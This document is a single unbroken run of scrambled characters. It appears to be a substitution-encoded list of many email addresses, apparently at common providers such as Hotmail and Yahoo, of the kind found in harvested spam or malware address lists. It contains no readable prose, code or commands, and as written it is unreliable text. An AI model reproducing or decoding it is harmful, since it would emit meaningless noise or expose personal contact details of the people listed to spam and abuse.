)#.[ovzrw5xtv.xs~m,)[m~iratu5u~o.xs~m,/vzu[stovzrw5xtv.xs~m,/vzu[stovzrw5xtvwk~oh5u~o.xs~m,/vzu[uoh
6tuwru~5u~o.xs~m,-[wtxzwu~o5xtv.xs~m,,ub./"[bzstt5xtv.xs~m,,knvzu[ztw5xtv.xs~m,#[ztw5xtv.xs~m,#[xsz
io~i5u~o.xs~m,#izx~[stovzrw5xtv.xs~m,"yino[ztw5xtv.xs~m,"hi~k/./[ztw5xtv.xs~m,"ho~k/./[ztw5xtv.xs~m
,vs[stovzrw5xtv.xs~m#+)+++[bzstt5xtv.xs~m#)#*[ztw5xtv.xs~m#,kn[y~wwhtnos5u~o.xs~m#"mzu[ztw5xtv.xs~m
#.zw~[bzstt5xtv.xs~m"*o[bzstt5xtv.xs~m")/.[ztw5xtv.xs~m")/c/[m~iratu5u~o.xs~m"/xzmb[bzstt5xtv.xs~m"
-hh[zoo5u~o.xs~m",vzwryn[bzstt5xtv.xs~m",oip[bzstt5xtv.xs~m",a,*[vhu5xtv.xs~m""[m~iratu5u~o.xs~m""D
,([stovzrw5xtv.xs~m[yzwou~o5in.xs~m[yr|hoiru|5xtv.xs~m[yt|hoiru|5xtv.xs~m[stovzrw5xtv.xs~m[vzrw5in.
xs~m[ubxzk5ii5xtv.xs~m[ubxzk5ii5xttv.xs~m[hxxtzho5u~o.xs~m[hxtzho5u~o.xs~m[hozw5in.xs~m[o~vkruytc5x
tv.xs~mD*",,[bzstt5xtv.xs~mD*",,D/[stovzrw5xtv.xs~mD/-[bzstt5xtv.xs~mD/c/[stovzrw5xtv.xs~mD/c/[bzst
t5xtv.xs~mD-/[stovzrw5xtv.xs~mD,+#()++*[bzstt5xtv.xs~mD"*[stovzrw5xtv.xs~mDxxDovDm~oo~[bzstt5xtv.xs
~mDxxDovDm~oo~[bzstt5xtvw5xtv.xs~mDx~w~yirob[stovzrw5xtv.xs~mDxs~wrth*[bzstt5xtv.xs~mDxsrxp*"[stovz
rw5xtv.xs~mD.~m[pkih5xtv.xs~mD.i|Dhho[hyx|wtyzw5u~o.xs~mD~D|riwDa,*[bzstt5xtv.xs~mD|[bzstt5xtv.xs~m
D|~iv[stovzrw5xtv.xs~mDqi))[stovzrw5xtv.xs~mDwnvruz[stovzrw5xtv.xs~mDwnm~iD).[bzstt5xtv.xs~mDvzu++[
bzstt5xtv.xs~mDvzuD,"[bzstt5xtv.xs~mDkoix)[bzstt5xtv.xs~mDizxru|+#[stovzrw5xtv.xs~mDirxszi.[bzstt5x
tv.xs~mDitw~o*""*[bzstt5xtv.xs~mDh*+D.irm~i*""*[bzstt5xtv.xs~mDhD*+[~vzrw5xtv.xs~mDm[stovzrw5xtv.xs
~mDm~|z*",/[stovzrw5xtv.xs~mz5qzuora~[bzstt5xtv.xs~mz*".-[stovzrw5xtv.xs~mz*[xszo5in.xs~mz/.,(+[.ri
~xlzb5xtv.xs~mz"+#[bzstt5xtv.xs~mz[sknhotu5ii5xtv.xs~mz[qzuora~5xtv.xs~mzDwyx[stovzrw5xtv.xs~mzDo[b
zstt5xtv.xs~mzywzau[ztw5xtv.xs~mzywzau[ztw5xtu.xs~mzx[ztw5xtv.xs~mzxs~uz[ztw5xtv.xs~mzxsirhor~[bzst
t5xtv.xs~mzxoti[.tohozu.zi.h5xtv.xs~mz.zhb[vbhvokvzrw5xtv.xs~mz~.,"[vhu5xtv.xs~mz~.[bzstt5xtv.xs~mz
~wwzyir||h[bzstt5xtv.xs~mz|o[vbhvokvzrw5xtv.xs~mzszww[wrm~5xtv.xs~mzs~uz[vbhvokvzrw5xtv.xs~mzr~ooz|
rwwrzv[bzstt5xtv.xs~mzrw[stovzrw5xtv.xs~mzrwwrD}zx~b[bzstt5xtv.xs~mzrwwrD}zx~b[bzstkt5xtv.xs~mzrwwr
~i[hyx|wtyzw5u~o.xs~mzrwh[.tohozu.zi.h5xtv.xs~mzp[ztw5xtv.xs~mzpDxtv~o+.[bzstt5xtv.xs~mzphszi~stw.~
i[bzstt5xtv.xs~mzpox[nurxtv6zwzhpz5xtv.xs~mzw6.ti~[stovzrw5xtv.xs~mzw+.[xtvxzho5u~o.xs~mzw*"-"[|vzr
w5xtv.xs~mzw(+)/-[ztw5xtv.xs~mzw.([lzuz.tt5}i.xs~mzw,)[hyx|wtyzw5u~o.xs~mzw,[~zioswrup5u~o.xs~mzw#.
[vor.z5u~o.xs~mzw##*+-,"##)[ztw5xtv.xs~mzw[ubxzk5ii5xtv.xs~mzw[hrwxtv5xtv.xs~mzw[hoziyzu.5u~o.xs~mz
w[nu.~ihz..w~5xtv.xs~mzwD.nD}~n[bzstt5xtv.xs~mzwDkli[stovzrw5xtv.xs~mzwDmzrwwzuo[mr.~toitu5xz.xs~mz
wz,)/[bzstt5xtv.xs~mzwz.[aaark5u~o.xs~mzwzuur~[bzstt5xtv.xs~mzwzirzh[ztw5xtv.xs~mzwy#-[bzstt5xtv.xs
~mzwyzr[ztw5xtv.xs~mzwywzux*+[stovzrw5xtv.xs~mzwywzux[vhu5xtv.xs~mzw.yzozrww~[ztw5xtv.xs~mzw.t)+++[
stovzrw5xtv.xs~mzw~uhn~wz[vbhvokvzrw5xtv.xs~mzw~uorut[vbhvokvzrw5xtv.xs~mzw~ov[ztw5xtv.xs~mzw}ziv[h
yx|wtyzw5u~o.xs~mzw}zivh[ztw5xtv.xs~mzw}rww~[stovzrw5xtv.xs~mzw}ti.[|vzrw5xtv.xs~mzw}ti.[stovzrw5xt
v.xs~mzw|rh~ww~[stovzrw5xtv.xs~mzwr#[ztw5xtv.xs~mzwr~D"-,")[bzstt5xtv.xs~mzwr~i5,/[x~|~o~w5u~o.xs~m
zwr~i5z.zvh[k~tkw~kx5xtv.xs~mzwr~i5xttp[stovzrw5xtv.xs~mzwr~i5xibhozw[bzstt5xtv.xs~mzwr~i5qzxjn~wru
~[|vzrw5xtv.xs~mzwr~i5wnxr~[mr.~toitu5xz.xs~mzwr~i5u~hoti[~zioswrup5u~o.xs~mzwr~i5otub[u~n}5}i.xs~m
zwr~i+)[stovzrw5xtv.xs~mzwr~i*+[qnut5xtv.xs~mzwr~i*+[m~iratu5u~o.xs~mzwr~i*"#[ztw5xtv.xs~mzwr~i)++*
[stovzrw5xtv.xs~mzwr~i)++.}zmti~.[stovzrw5xtv.xs~mzwr~i)+[stovzrw5xtv.xs~mzwr~i)[ztw5xtv.xs~mzwr~i(
)([bzstt5xtv.xs~mzwr~i([xtc5u~o.xs~mzwr~i/*)*[xszio~i5u~o.xs~mzwr~i/[|vzrw5xtv.xs~mzwr~i.#"-([bzstt
5xtv.xs~mzwr~i.[xtvxzho5u~o.xs~mzwr~i#+,-[bzstt5xtv.xs~mzwr~i#/[bzstt5xtv.xs~mzwr~i#-)([bzstt5xtv.x
s~mzwr~i[rvz|~lri~w~hh5xz.xs~mzwr~i[vniwru5xtv.xs~mzwr~i[ir.~i5~.n.xs~mzwr~iD*[lzm~5srxm5u~o.xs~mzw
r~iD*[lzm~5u~o.xs~mzwr~iD#[stovzrw5xtv.xs~mzwr~iDzu.i~z[stovzrw5xtv.xs~mzwr~iD.~Dxtwnvynh[bzstt5xtv
.xs~mzwr~iD.~Dm~ihzrww~h[stovzrw5xtv.xs~mzwr~iD~vrwb[bzstt5xtv.xs~mzwr~iD|i~|tib[bzstt5}i.xs~mzwr~i
Dvzi|zi~o[stovzrw5xtv.xs~mzwr~iDvzioruhi*[stovzrw5xtv.xs~mzwr~iDvziotuhi*[stovzrw5xtv.xs~mzwr~iDvzi
b[bzstt5xtv.xs~mzwr~iDv~wrhhz[bzstt5xtv.xs~mzwr~iDv~wmru[bzstt5xtv.xs~mzwr~iz[ztw5xtv.xs~mzwr~iy[~}
rwrkrut5ti|.xs~mzwr~iyz|.z.[l~yom5u~o.xs~mzwr~iyizu.b[bzstt5xtv.xs~mzwr~iyoh[bzstt5xtv.xs~mzwr~iyni
w~b[bzstt5xtv.xs~mzwr~ixzitw[bzstt5xtv.xs~mzwr~ixzh~b[bzstt5xtv.xs~mzwr~ixszuozw[ztw5xtv.xs~mzwr~ix
tux~hhrtuh[bzstt5xtv.xs~mzwr~ixti~b[y~wwhtnos5u~o.xs~mzwr~ixtnuxrwltvzu[itonw~.5xtv.xs~mzwr~i.nkzrh
[bzstt5}i.xs~mzwr~i.nozn[ztw5xtv.xs~mzwr~i}izuxp[hyx|wtyzw5u~o.xs~mzwr~i||bDyzuth[stovzrw5xtv.xs~mz
wr~i|s[bzstt5xtv.xs~mzwr~i|rzo/-,[ztw5xtv.xs~mzwr~is[|vzrw5xtv.xs~mzwr~iq~zu[stovzrw5xtv.xs~mzwr~iq
p[ztw5xtv.xs~mzwr~iqthsnz[bzstt5xtv.xs~mzwr~ipo[ztw5xtv.xs~mzwr~iv[rkyrwtcr5xtv.xs~mzwr~iv[wzl5~.n.
xs~mzwr~ivzib[stovzrw5xtv.xs~mzwr~ivzni~~u[bzstt5xtv.xs~mzwr~iv~|[ztw5xtv.xs~mzwr~iub[ztw5xtv.xs~mz
wr~ikm[stovzrw5xtv.xs~mzwr~ii~y~xxz[bvzrw5xtv.xs~mzwr~ii~xti.h[bzstt5xtv.xs~mzwr~ih*+*#[bzstt5xtv.x
s~mzwr~ih)[bzstt5xtv.xs~mzwr~ih.++[ztw5xtv.xs~mzwr~ih,,[bzstt5xtv.xs~mzwr~ih~[bzstt5xtv.xs~mzwr~ih~
i|rt[bzstt5xtv.xs~mzwr~ih|[~zioswrup5u~o.xs~mzwr~ihszo~iiz[bzstt5xtv.xs~mzwr~io[u~oxtniir~i5xtv.xs~
mzwr~iotv[y~wwhtnos5u~o.xs~mzwr~im~it[ztw5xtv.xs~mzwr~iclk[wrm~5xtv.xs~mzwr~ia)/[bzstt5xtv.xs~mzwrt
i[bvzrw5xtv.xs~mzwrhz[|to5u~o.xs~mzww-,[ztw5xtv.xs~mzwwD""[bzstt5xtv.xs~mzwwzb5|~izi.[u~n}5}i.xs~mz
ww~)*[bzstt5xtv.xs~mzww~zos~i[ztw5xtv.xs~mzww~zoss~i[ztw5xtv.xs~mzww~it[vhu5xtv.xs~mzww~lzww[bzstt5
xtv.xs~mzwwr~i5|srhwvzrui[}i~~5}i.xs~mzwwr~i5qnwr~[xwny6ruo~iu~o5}i.xs~mzwwr~i.,)+++[bzstt5xtv.xs~m
zwwr~i.xu[ztw5xtv.xs~mzwwr~ivrxsz~w[itxp~ovzrw5xtv.xs~mzwwr~iu[ztw5xtv.xs~mzwwr~ikr~ii~[u~n}5}i.xs~
mzwwq*[ztw5xtv.xs~mzwwtybi.*[|vzrw5xtv.xs~mzwwtybi.[bzstt5xtv.xs~mzwv*".-[bzstt5xtv.xs~mzwv(([bzstt
5xtv.xs~mzwvz.rhtu[m~iratu5u~o.xs~mzwutriy[bzstt5xtv.xs~mzwt.-"[ztw5xtv.xs~mzwt[ztw5xtv.xs~mzwtl[zt
w5xtv.xs~mzwkznwlrwwh[bzstt5xtv.xs~mzwi.}*"./[bzstt5xtv.xs~mzwi~hjn~*[stovzrw5xtv.xs~mzwitn|~[z.~wk
srz5u~o.xs~mzwhozyw~h[bzstt5xtv.xs~mzwbz+.[stovzrw5xtv.xs~mzu6~mntio[.mxtvk5in.xs~mzu)"[bzstt5xtv.x
s~mzuzo~i[bzstt5xtv.xs~mzuznp~u[.tohozu.zi.h5xtv.xs~mzuxvo[ztw5xtv.xs~mzu.~uy~i|s[vbhvokvzrw5xtv.xs
~mzu~hDlzwo~ih[bzstt5xtv.xs~mzu~h~xnosy~io[bzstt5xtv.xs~mzu~hh5|i~~u~[|vzrw5xtv.xs~mzu|~w,.[bzstt5x
tv.xs~mzur~*"-)[ztw5xtv.xs~mzur~k~o~i[bzstt5xtv.xs~mzurhs[.tohozu.zi.h5xtv.xs~mzuptv~u[vbhvokvzrw5x
tv.xs~mzuwtw(-+[ztw5xtv.xs~mzuv~ryznv[z~itatu~5in.xs~mzuu~D#"[bzstt5xtv.xs~mzuu~h)++)[stovzrw5xtv.x
s~mzuu~h)++([bzstt5xtv.xs~mzuu~h[yoruo~iu~o5xtv.xs~mzuu~hDzuroz[stovzrw5xtv.xs~mzuurz[stovzrw5xtv.x
s~mzuh6+/[stovzrw5xtv.xs~mzuh+*[stovzrw5xtv.xs~mzuh*(-[kv5hkiruo5xtv.xs~mzuh)[xtvxzho5u~o.xs~mzuh(/
([xtvxzho5u~o.xs~mzuh(-[stovzrw5xtv.xs~mzuh.[ztw5xtv.xs~mzuh[ztw5xtv.xs~mzuh[.twwzi|~u~izw5xtv.xs~m
zuh[}oy5xtv.xs~mzuh[vr.o~xs5u~o.xs~mzuh[inhsvti~5xtv.xs~mzuh[nz5~.n.xs~mzuhv~[ztw5xtv.xs~mzuo~w[bzs
tt5xtv.xs~mzuooturz[bzstt5xt5np.xs~mzub}~wrxrzut[bzstt5xtv.xs~mzk,,[vhu5xtv.xs~mzi[bzstt5xtv.xs~mzi
zD}i~~.tv[bzstt5xtv.xs~mzizs*#[bzstt5xtv.xs~mzi~wwz[bzstt5xtv.xs~mzi~wwzut[bzstt5xtv.xs~mzi|zh*[ztw
5xtv.xs~mzirz[bzstt5xtv.xs~mzirzu[vbhvokvzrw5xtv.xs~mzir~[~zioswrup5u~o.xs~mzir~[~yzijvzrw5xtv.xs~m
zir~[~vyzijvzrw5xtv.xs~mzir~[o~wnh5u~o.xs~mzir~}zvrwb[vhu5xtv.xs~mzir~qth~~[stovzrw5xtv.xs~mzirwwt(
[bzstt5xtv.xs~mzirwwt~m[x.v5xtv.xs~mzivl[bzstt5xtv.xs~mzitv~it[bzstt5xtv.xs~mzitnu.[ztw5xtv.xs~mzij
n~iz[vbhvokvzrw5xtv.xs~mziirz[srxpzv5z}5vrw.xs~mziir~m~h~b[ztw5xtv.xs~mzh*,*/[stovzrw5xtv.xs~mzh[zo
o5xtv.xs~mzhDho~lzio[bzstt5xtv.xs~mzhzu.krxpw~[bzstt5xtv.xs~mzhzbtnu|hxtty~b[bzstt5xtv.xs~mzhxtux~w
wth[vbhvokvzrw5xtv.xs~mzh|riw[ztw5xtv.xs~mzhqs[stovzrw5xtv.xs~mzhp[bzstt5xtv.xs~mzhpzv[bzstt5xtv.xs
~mzhvs[ztw5xtv.xs~mzhh~i[vbhvokvzrw5xtv.xs~mzhoszb~i[bzstt5xtv.xs~mzotu,+,[bzstt5xtv.xs~mzotkzirhtn
[bzstt5xtv.xs~mzn|su5xwtlu~b[hz|~5xtv.xs~mzn|su+*[stovzrw5xtv.xs~mzn|su)++))+++[bzstt5xtv.xs~mzn|su
)([ztw5xtv.xs~mzn|su(+[bzstt5xtv.xs~mzn|su/+(,[bzstt5xtv.xs~mzn|su[u~os~i~5xtv.xs~mzn|suDqzxphtu)++
+[bzstt5xtv.xs~mzn|suzoszu[bzstt5xtv.xs~mzn|suq[|vzrw5xtv.xs~mzn|suwy[bzstt5xtv.xs~mznusziirh[|vzrw
5xtv.xs~mznumzi|z[bzstt5xtv.xs~mzncD)++,[stovzrw5xtv.xs~mzluy[stovzrw5xtv.xs~mzbz[hyx|wtyzw5u~o.xs~
mzb~[|vzrw5xtv.xs~mza.z[bzstt5xtv.xs~mza~xzio~i[bzstt5xtv.xs~my,,,[bzstt5xtv.xs~myzby~*,#,[bzstt5xt
v.xs~myytb[bzstt5xtv.xs~my.lvu([ztw5xtv.xs~my~zn[stovzrw5xtv.xs~my~yibuu[bzstt5xtv.xs~my~w*".,[bzst
t5xtv.xs~my~wzri~*"..[bzstt5xtv.xs~my~i~ooz".[ztw5xtv.xs~my~ia)-[vhu5xtv.xs~myp([bzstt5xtv.xs~mywza
~i((([stovzrw5xtv.xs~mytzo[m~iratu5u~o.xs~myty.+)[bzstt5xtv.xs~myty[xszio~i5u~o.xs~mytr-,[bzstt5xtv
.xs~myttk[}ituor~iu~o5u~o.xs~mytlor~/wr}~)[ztw5xtv.xs~mytlor~[hyx|wtyzw5u~o.xs~mytlor~h[stovzrw5xtv
.xs~mytb-,[vhu5xtv.xs~mytb,([stovzrw5xtv.xs~mytb,,,[stovzrw5xtv.xs~mytb.zu[bzstt5xtv.xs~mytba,*#[bz
stt5xtv.xs~myta)[bzstt5xtv.xs~myirh[ztw5xtv.xs~myit[hszl5xz.xs~mynrxpktuo[bzstt5xtv.xs~mynw.-[u~oa~
it5u~o.xs~mynww/c/[bzstt5xtv.xs~mynhxs[bzstt5xtv.xs~mynb~ih[stovzrw5xtv.xs~mxz[ztw5xtv.xs~mxz.[hyx|
wtyzw5u~o.xs~mxz.[l~hoxt5u~o.xs~mxzv,*[stovzrw5xtv.xs~mxzv,.",[bzstt5xtv.xs~mxzv,#[bzstt5xtv.xs~mxz
v[hxxtzho5u~o.xs~mxzvzit++[ztw5xtv.xs~mxzvzit*"-#[vhu5xtv.xs~mxzvzit*"-"[bzstt5xtv.xs~mxzvzit)++([v
hu5xtv.xs~mxzvzit)/[ztw5xtv.xs~mxzvzita)#[stovzrw5xtv.xs~mxzvzita)#[bzstt5xtv.xs~mxzvzita)#hh[bzstt
5xtv.xs~mxzv~it##[ztw5xtv.xs~mxzvky~ww[bzstt5xtv.xs~mxzkir[ztw5xtv.xs~mxzi)++([bzstt5xtv.xs~mxzi)++
"[stovzrw5xtv.xs~mxzi),[y~wwhtnos5u~o.xs~mxzi[~zioswrup5u~o.xs~mxzi[stovzrw5xtv.xs~mxzi[m~iratu5u~o
.xs~mx~w~yirob(/[bzstt5xtv.xs~mxszh~[stovzrw5xtv.xs~mxs~rth*)[itxp5xtv.xs~mxs~wrth+*.t*[ztw5xtv.xs~
mxs~upt[u~lvzrw5in.xs~mxs~iib[bzstt5xtv.xs~mxs~mytlor~[bzstt5xtv.xs~mxs~m~ww~*",*[ztw5xtv.xs~mxsrx,
[bzstt5xtv.xs~mxsnx[stovzrw5xtv.xs~mxsnx[bzstt5xtv.xs~mxwzu[bzstt5xtv.xs~mxt.)[bzstt5xtv.xs~mxtyzwo
)++.[zrv5xtv.xs~mxtv[bzstt5xtv.xs~mxtuhnwo[stovzrw5xtv.xs~mxtim~o[ztw5xtv.xs~mxi~o~i[stovzrw5xtv.xs
~m.z[uoru5u~o.xs~m.z.*[stovzrw5xtv.xs~m.z|h[bzstt5xtv.xs~m.zohnu[bzstt5xtv.xs~m.zn[bzstt5xtv.xs~m.z
l|*[ztw5xtv.xs~m.~u)[bzstt5xtv.xs~m.r~|t[bzstt5xtv.xs~m.w[ztw5xtv.xs~m.t)++/[lvxtuu~xo5xtv.xs~m.t.|
~-"[stovzrw5xtv.xs~m.t|+*[bzstt5xtv.xs~m.t|-"[xtc6ruo~iu~o5xtv.xs~m.t|,.[stovzrw5xtv.xs~m.tu[stovzr
w5xtv.xs~m.iz|[ztw5xtv.xs~m.i|oip[stovzrw5xtv.xs~m.hz.tw~o[stovzrw5xtv.xs~m.n.",[bzstt5xtv.xs~m.niz
vzc**.[ztw5xtv.xs~m~+"[bzstt5xtv.xs~m~*+)[ztw5xtv.xs~m~*+[ztw5xtv.xs~m~**~[hyx|wyzw5u~o.xs~m~/c/c--
[bzstt5xtv.xs~m~.[m~iratu5u~o.xs~m~,*yvru~[bzstt5xtv.xs~m~""[p5it.xs~m~[ltiw.kzos5u~o.xs~m~D.~hr|u[
bzstt5xtv.xs~m~zwwr~i[~zo~w5u~o.xs~m~zuszi.b[bzstt5xt5np.xs~m~y),#[zoo5u~o.xs~m~yr|*)[bzstt5xtv.xs~
m~yr|[y~wwhtnos5u~o.xs~m~yr|[|vzrw5xtv.xs~m~yr|[vhu5xtv.xs~m~xzvzitv.[ztw5xtv.xs~m~xsrmz[stovzrw5xt
v.xs~m~.#([bzstt5xtv.xs~m~.p[bzstt5xtv.xs~m~.th"")[ztw5xtv.xs~m~.th[ztw5xtv.xs~m~.nh[bzstt5xtv.xs~m
~~)[bzstt5xtv.xs~m~~[hbvkzorxt5xz.xs~m~~ru.[ztw5xtv.xs~m~~w~~[stovzrw5xtv.xs~m~~vzu,"qui[bzstt5xtv.
xs~m~~u~l[stovzrw5xtv.xs~m~~uityruhtu[bzstt5xtv.xs~m~~ih#([vhu5xtv.xs~m~~a.[bzstt5xtv.xs~m~}[bzstt5
xtv.xs~m~}zv[ztw5xtv.xs~m~|.*[bzstt5xtv.xs~m~|z[u~oa~it5u~o.xs~m~|zh[ztw5xtv.xs~m~|~[~zioswrup5u~o.
xs~m~|~[m~iratu5u~o.xs~m~|stho[bzstt5xtv.xs~m~|vzu[bzstt5xtv.xs~m~rr[ztw5xtv.xs~m~ruD|i~~u[bzstt5xt
v.xs~m~w5szrw~[.tyr5hozo~5uq5nh.xs~m~w5u~whtu[xi~.ro6hnrhh~5xtv.xs~m~w*).,,[ztw5xtv.xs~m~w*-""[~zio
swrup5u~o.xs~m~w*",+[bzstt5xtv.xs~m~w*"[bzstt5xtv.xs~m~w*[bzstt5xtv.xs~m~w)+++[|vzrw5xtv.xs~m~w("-[
|vh5ztw5xtv.xs~m~w/./([bzstt5xtv.xs~m~w.)[bzstt5xtv.xs~m~w",[stovzrw5xtv.xs~m~w"[ztw5xtv.xs~m~wD)++
,[itxp~ovzrw5xtv.xs~m~wz5yitlu[vhu5xtv.xs~m~wz)++/[bzstt5xtv.xs~m~wzxzio~i[bzstt5xtv.xs~m~wz.ziirh,
#[bzstt5xtv.xs~m~wzoirx~[bzstt5xtv.xs~m~w.zhw~[/~jnzwqnhorx~5xtv.xs~m~w.~ww)-[bzstt5xtv.xs~m~w.~ww[
ztw5xtv.xs~m~w~([ztw5xtv.xs~m~w~,-)++)[bzstt5xtv.xs~m~w~Dszi.rvzu[bzstt5xtv.xs~m~w~i[bzstt5xtv.xs~m
~w~oo[bzstt5xtv.xs~m~wrz,+[u~ohxzk~5xtv.xs~m~wrz}wtb.[bzstt5xtv.xs~m~wrwb[bzstt5xtv.xs~m~wrut[z.~wk
srz5u~o.xs~m~wp[l~yom5u~o.xs~m~ww5h~ww~ih[bzstt5xtv.xs~m~ww*"-"+#[bzstt5xtv.xs~m~ww*[u~ouroxt5u~o.x
s~m~ww*[bzstt5xtv.xs~m~ww)+++[vhu5xtv.xs~m~ww(.[ztw5xtv.xs~m~ww("-/./[bzstt5xtv.xs~m~ww/),[bzstt5xt
v.xs~m~ww/-"[bzstt5xtv.xs~m~ww-,[stovzrw5xtv.xs~m~ww[xs~m~ww5u~o.xs~m~wwDvzu)++)[bzstt5xtv.xs~m~wwz
*)[bzstt5xtv.xs~m~wwz,,,[bzstt5xtv.xs~m~wwz[xszio~i5u~o.xs~m~wwz[ko.5u~o.xs~m~wwzy[wrm~5xtv.xs~m~ww
zy[bzstt5xtv.xs~m~wwzyn~[ztw5xtv.xs~m~wwz|rm~uh[bzstt5xtv.xs~m~wwzqzxphtu[ztw5xtv.xs~m~wwzprvyw~[bz
stt5xtv.xs~m~wwxttp[bzstt5xtv.xs~m~ww~6wzorut[stovzrw5xtv.xs~m~ww~5xtc[znitiz5ti|.xs~m~ww~5|zwyi~zo
s[ts}z5ti|.xs~m~ww~5|nor~ii~a[bzstt5xtv.xs~m~ww~5stl~ww5xoi[v~.5uzmb5vrw.xs~m~ww~5vzb~h[|nzizuob|it
nk5xtv.xs~m~ww~5v~wy~io[hyx|wtyzw5u~o.xs~m~ww~5v~wy~io[hyx|wtywz5u~o.xs~m~ww~5kir.|~oo[tizxw~5xtv.x
s~m~ww~5hvros[xtc5xtv.xs~m~ww~5hhih[bzstt5xtv.xs~m~ww~+++[xtc5u~o.xs~m~ww~+*+,[bzstt5xtv.xs~m~ww~+)
[stovzrw5xtv.xs~m~ww~+()#[ztw5xtv.xs~m~ww~+-+,#"[bzstt5xtv.xs~m~ww~+-+,[bzstt5xtv.xs~m~ww~+-",.[bzs
tt5xtv.xs~m~ww~+#+)[bzstt5xtv.xs~m~ww~*+)+#+[ztw5xtv.xs~m~ww~*+)"[stovzrw5xtv.xs~m~ww~*+)"[bzstt5xt
v.xs~m~ww~*+"+[ztw5xtv.xs~m~ww~***[ztw5xtv.xs~m~ww~**#[bzstt5xtv.xs~m~ww~*)-,[ztw5xtv.xs~m~ww~*(+[b
zstt5xtv.xs~m~ww~*(*([stovzrw5xtv.xs~m~ww~*(/#[bzstt5xtv.xs~m~ww~*(/[k~tkw~kx5xtv.xs~m~ww~*/,,[zrv5
xtv.xs~m~ww~*.+([ztw5xtv.xs~m~ww~*.[tkotuwru~5u~o.xs~m~ww~*-/[qnut5xtv.xs~m~ww~*--[ztw5xtv.xs~m~ww~
*-,[ztw5xtv.xs~m~ww~*-[qnut5xtv.xs~m~ww~*#,-"[ztw5xtv.xs~m~ww~*"/-[bzstt5xtv.xs~m~ww~*"/[stovzrw5xt
v.xs~m~ww~*".*[ztw5xtv.xs~m~ww~*"-.*[m~iratu5u~o.xs~m~ww~*"-,,*[bzstt5xtv.xs~m~ww~*"-,[z.~wksrz5u~o
.xs~m~ww~*",++[stovzrw5xtv.xs~m~ww~*",+-+[ztw5xtv.xs~m~ww~*",+[tkotuwru~5u~o.xs~m~ww~*",)*[stovzrw5
xtv.xs~m~ww~*",)xtu[bzstt5xtv.xs~m~ww~*",(..[bzstt5xtv.xs~m~ww~*",([hyx|wtyzw5u~o.xs~m~ww~*",[bzstt
5xtv.xs~m~ww~*"[bvzrw5xtv.xs~m~ww~)++([stovzrw5xtv.xs~m~ww~)+[y~wwhtnos5u~o.xs~m~ww~)*)[bzstt5xtv.x
s~m~ww~)*")[y~wwhtnos5u~o.xs~m~ww~)*xsrxp[ztw5xtv.xs~m~ww~))*([bzstt5xtv.xs~m~ww~)(*,[bzstt5xtv.xs~
m~ww~)/("-[bzstt5xtv.xs~m~ww~).[xtvxzho5u~o.xs~m~ww~).[stovzrw5xtv.xs~m~ww~),,#[ztw5xtv.xs~m~ww~),#
+[bzstt5xtv.xs~m~ww~)[xszio~i5u~o.xs~m~ww~)}zho/n[stovzrw5xtv.xs~m~ww~(*[jl~ho5xtv.xs~m~ww~(/./[sto
vzrw5xtv.xs~m~ww~(.,[bzstt5xtv.xs~m~ww~(-(#[bzstt5xtv.xs~m~ww~(#).[ztw5xtv.xs~m~ww~(#(,[bzstt5xtv.x
s~m~ww~("-xr[ztw5xtv.xs~m~ww~("-|nb[vhu5xtv.xs~m~ww~("-qh[bzstt5xtv.xs~m~ww~("-hh//+,,[bzstt5xtv.xs
~m~ww~("-hhDvroxs[bzstt5xtv.xs~m~ww~(xzkirxtiuh[bzstt5xtv.xs~m~ww~/+/[bzstt5xtv.xs~m~ww~/+/[bztt5xt
v.xs~m~ww~/*#+[bzstt5xtv.xs~m~ww~/*#.[hyx|wtyzw5u~o.xs~m~ww~/).z[bzstt5xtv.xs~m~ww~/)z[bzstt5xtv.xs
~m~ww~/(*"[bzstt5xtv.xs~m~ww~/(.*)[bzstt5xtv.xs~m~ww~//#,.[bzstt5xtv.xs~m~ww~/./[xszio~i5u~o.xs~m~w
w~/./xt[u~oa~it5u~o.xs~m~ww~/.",[stovzrw5xtv.xs~m~ww~/-#[hyx|wtyzw5u~o.xs~m~ww~/-"[bzstt5xtv.xs~m~w
w~/-[ztw5xtv.xs~m~ww~/,,yy[ztw5xtv.xs~m~ww~/#"[|vzrw5xtv.xs~m~ww~/"+)[xtvxzho5u~o.xs~m~ww~/n[vhu5xt
v.xs~m~ww~.+)[xszio~i5u~o.xs~m~ww~.+)[xtvxzho5u~o.xs~m~ww~.+)D*",+[bzstt5xtv.xs~m~ww~.+)hh[ztw5xtv.
xs~m~ww~.+.[vhu5xtv.xs~m~ww~.+"[xszio~i5u~o.xs~m~ww~.*[~xst~h5u~o.xs~m~ww~.)/[bzstt5xtv.xs~m~ww~.(*
[ztw5xtv.xs~m~ww~...[bvzrw5xtv.xs~m~ww~-([vhu5xtv.xs~m~ww~-/../,[bzstt5xtv.xs~m~ww~-/..[bzstt5xtv.x
s~m~ww~-.#[xtvxzho5u~o.xs~m~ww~-.Dhh[bzstt5xtv.xs~m~ww~---,,,[bzstt5xtv.xs~m~ww~---,[xtvxzho5u~o.xs
~m~ww~---,[vhu5xtv.xs~m~ww~--[ubxzk5ii5xtv.xs~m~ww~-,+/)*+[ztw5xtv.xs~m~ww~-,-"[ztw5xtv.xs~m~ww~-,[
ixu5xtv.xs~m~ww~-,wmi[m~iratu5u~o.xs~m~ww~-,inos[ztw5xtv.xs~m~ww~-#*+*[bzstt5xtv.xs~m~ww~-#*)([bzst
t5xtv.xs~m~ww~-#/"[u~ohxzk~5u~o.xs~m~ww~-#[xtvxzho5u~o.xs~m~ww~-#D(#([bzstt5xtv.xs~m~ww~-"+,[stovzr
w5xtv.xs~m~ww~-"/[ztw5xtv.xs~m~ww~-"-"[bzstt5xtv.xs~m~ww~-",+,*[bzstt5xtv.xs~m~ww~-"[zoo5u~o.xs~m~w
w~-"[xtvxzho5u~o.xs~m~ww~-"[~krc5u~o.xs~m~ww~-"[m~wtx~u~o5u~o.xs~m~ww~-"}w[bzstt5xtv.xs~m~ww~-"ktl~
i[bzstt5xtv.xs~m~ww~-"ktl~i[bzstt5tv.xs~m~ww~,+)[m~iratu5u~o.xs~m~ww~,+(.[bzstt5xtv.xs~m~ww~,+([ztw
5xtv.xs~m~ww~,+-,*(/[bzstt5xtv.xs~m~ww~,+[xszio~i5u~o.xs~m~ww~,+[ko.5u~o.xs~m~ww~,+[j5xtv.xs~m~ww~,
+D/./[stovzrw5xtv.xs~m~ww~,+D|nb[stovzrw5xtv.xs~m~ww~,+wx[bzstt5xtv.xs~m~ww~,+vnhxw~[lru.hoi~zv5u~o
